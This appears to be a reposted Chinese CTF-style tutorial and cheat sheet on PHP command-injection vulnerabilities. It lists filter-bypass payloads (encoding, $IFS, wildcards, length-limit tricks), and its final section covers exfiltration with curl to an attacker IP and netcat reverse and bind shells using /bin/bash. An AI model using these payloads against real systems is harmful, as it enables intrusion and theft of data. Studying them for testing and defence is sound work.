WEB安全之系统命令执行漏洞
Posted AlexD190518
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WEB安全之系统命令执行漏洞相关的知识,希望对你有一定的参考价值。
常用的系统命令执行函数
system() #输出并返回最后一行shell结果。
exec() #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里。
passthru() #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针
shell_exec()#通过shell执行命令并以字符串的形式返回完整的输出
` `(反引号) #实际上是使用shell_exec()函数
pcntl_exec #
函数的作用是在当前进程空间执行指定程序
一般来说就有这么几个危险函数,可以执行系统命令
常见命令的分隔符、终止符和截断符
命令分隔符
windows:
&& 需要&&前面的命令执行成功后才能执行后面的命令
|| 当|| 前面的执行成功后就不在执行后面的命令,前面失败就执行后面的
& 不管前面命令是否成功,都能执行后面的命令
| 前面命令输出结果作为后面命令的输入内容
linux:
&& 当前面命令为成功才执行后面的命令
|| 前面命令执行失败的时候才执行后面的命令
& 前面命令执行后接着执行后面的命令
| 前面命令输出结果作为后面命令的输入内容
; 无论前面命令真或假都执行后面的命令,适用于执行多条命令
命令终止符
#以下终止符只适用于php环境
%0a 换行符
%0d 回车符
截断符号
$
;
|
&
-
(
)
`
||
&&
%0a #有时候可以当空格使用
命令执行的各种绕过
绕过空格
<
<>
%09
$IFS$1
$IFS$9
$IFS
$IFS等
还可以用 比如 cat,flag
关键字黑名单绕过
拼接绕过黑名单
a=fl;b=ag;cat $a$b
利用单引号,双引号绕过
ca''t fla''g
ca""t fla""g
利用反斜杠绕过
cat fla\\g
利用各种编码绕过
十六进制
$(printf "\\x63\\x61\\x74\\x20\\x2f\\x66\\x6c\\x61\\x67") ==>cat /flag
base64
echo 'Y2F0IC9mbGFnCg==' | base64 -d |bash
利用shell的特殊变量绕过
l$@s
l$*s
l$1s
都是ls,因为没有定义$@,$*,$1,所以都是空值
利用通配符绕过
利用*和?
cat fla?
cat fl*
cat fl??
利用[]绕过
c[a]t
l[s]
fl[a]g
利用系统内置变量配合通配符构造命令
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 默认环境变量
`echo $PATH | cut -c 8,9`t flag 即 cat flag
当读取文件的命令被过滤
cat
more
less
tac
tail
nl
od
vi
vim
sort
uniq -c
file -f
rev
grep [文件内容任意字符] [文件名]
sh
curl 前提需要知道文件位置
bash -v
strings
长度限制绕过
写文件绕过
通过> 创建文件,再通过>> 在在文件后加入字符
例如
echo "cat\\\\" > hack
echo " flag" >> hack
此时hack内容为
cat\\
flag
然后可以通过 sh hack ,执行系统命令,就可以看到flag
这种一般长度限制范围在6字符以上可以用一般的flag文件都是flag.txt 或者flag.php 本文的flag只是示例
还可以通过
>"ag"
>"fl\\\\"
> "t \\\\"
> "ca\\\\"
ls -t > test
sh test
来绕过限制长度,长度范围比较小的,6以下的,可以用这种
其他一些绕过
cat flag > hack
cat hack #可以查看到flag
rev flag #可以将flag的内容倒过来输出
系统命令执行无回显
判断是否为命令执行
可以通过延时来判断是否为命令执行
sleep
比如
ls | sleep 5
绕过无回显
可以通过http外带数据来绕过无回显
用python 制作简易的http服务器
python3 -m http.server 8888
cat flag | curl ip:8888
或者在dnslog上外带数据
可以通过nc反弹shell或者文件
在本地机
nc -tlp 4444 > a.txt
ls && nc -t ip 4444 < flag
或者ls && nc -e /bin/bash -lvvp 5555
nc ip 5555 #即可拿到shell
以上是关于WEB安全之系统命令执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章